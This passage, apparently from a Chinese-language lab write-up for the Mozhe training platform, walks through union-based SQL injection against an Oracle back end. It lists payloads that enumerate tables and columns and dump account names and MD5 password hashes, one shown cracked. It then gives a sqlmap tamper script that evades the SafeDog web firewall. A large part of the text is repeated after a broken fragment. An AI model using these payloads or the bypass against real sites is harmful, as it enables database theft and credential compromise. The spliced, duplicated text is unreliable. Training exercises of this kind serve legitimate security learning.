1 and 1=2 union select '1',table_name from user_all_tables where rownum=1 and table_name<>'LOGMNR_PARAMETER$' and table_name<>'LOGMNR_SESSION$'
MVIEW$_ADV_WORKLOAD
1 and 1=2 union select '1',table_name from user_all_tables where rownum=1 and table_name<>'LOGMNR_PARAMETER$' and table_name<>'LOGMNR_SESSION$' and table_name<>'MVIEW$_ADV_WORKLOAD'
MVIEW$_ADV_BASETABLE
。。。。。。
这里由于表太多,我们直接使用模糊查询
1 and 1=2 union select (select table_name from user_all_tables where rownum=1 and table_name like '%user%'),'2' from dual
sns_users
1 and 1=2 union select (select table_name from user_all_tables where rownum=1 and table_name like '%user%' and table_name<>'sns_users'),'2' from dual
发现只有这一张表
6、查询字段名
1 and 1=2 union select '1',column_name from user_tab_columns where rownum=1 and table_name='sns_users'
USER_NAME
1 and 1=2 union select '1',column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'USER_NAME'
USER_PWD
1 and 1=2 union select '1',column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'USER_NAME' and column_name<>'USER_PWD'
STATUS
。。。。。
7、查询数据
1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
最后这里需要加上" ",双引号,应该是Oracle数据库的规则。
得到账号密码
zhong
1c63129ae9asc60asdua94d3e00495
这里有一个坑就是,这个不是真的墨者账号密码,还需要继续查数据
1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME<>'zhong'
hu
1c63129ae9db9g20asdua94d3e00495
1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME<>'zhong' and USER_NAME<>'hu'
mozhe
0ca941b2a38e53adf2dd32fb7d8dffbf md5解密之后(229780)
得到真正的账号密码
5、sqlmap棒打安全狗
Python脚本如下:
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Bypass SafeDog
"""
if '--' in payload:
payload = payload.split('--')[0]
return '/*!50001-- qwe/*%0a'+payload+'*/' if payload else payload
R_PWD
1 and 1=2 union select '1',column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'USER_NAME' and column_name<>'USER_PWD'
STATUS
。。。。。
7、查询数据
1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
最后这里需要加上" ",双引号,应该是Oracle数据库的规则。
得到账号密码
zhong
1c63129ae9asc60asdua94d3e00495
这里有一个坑就是,这个不是真的墨者账号密码,还需要继续查数据
1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME<>'zhong'
hu
1c63129ae9db9g20asdua94d3e00495
1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME<>'zhong' and USER_NAME<>'hu'
mozhe
0ca941b2a38e53adf2dd32fb7d8dffbf md5解密之后(229780)
得到真正的账号密码
5、sqlmap棒打安全狗
Python脚本如下:
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Bypass SafeDog
"""
if '--' in payload:
payload = payload.split('--')[0]
return '/*!50001-- qwe/*%0a'+payload+'*/' if payload else payload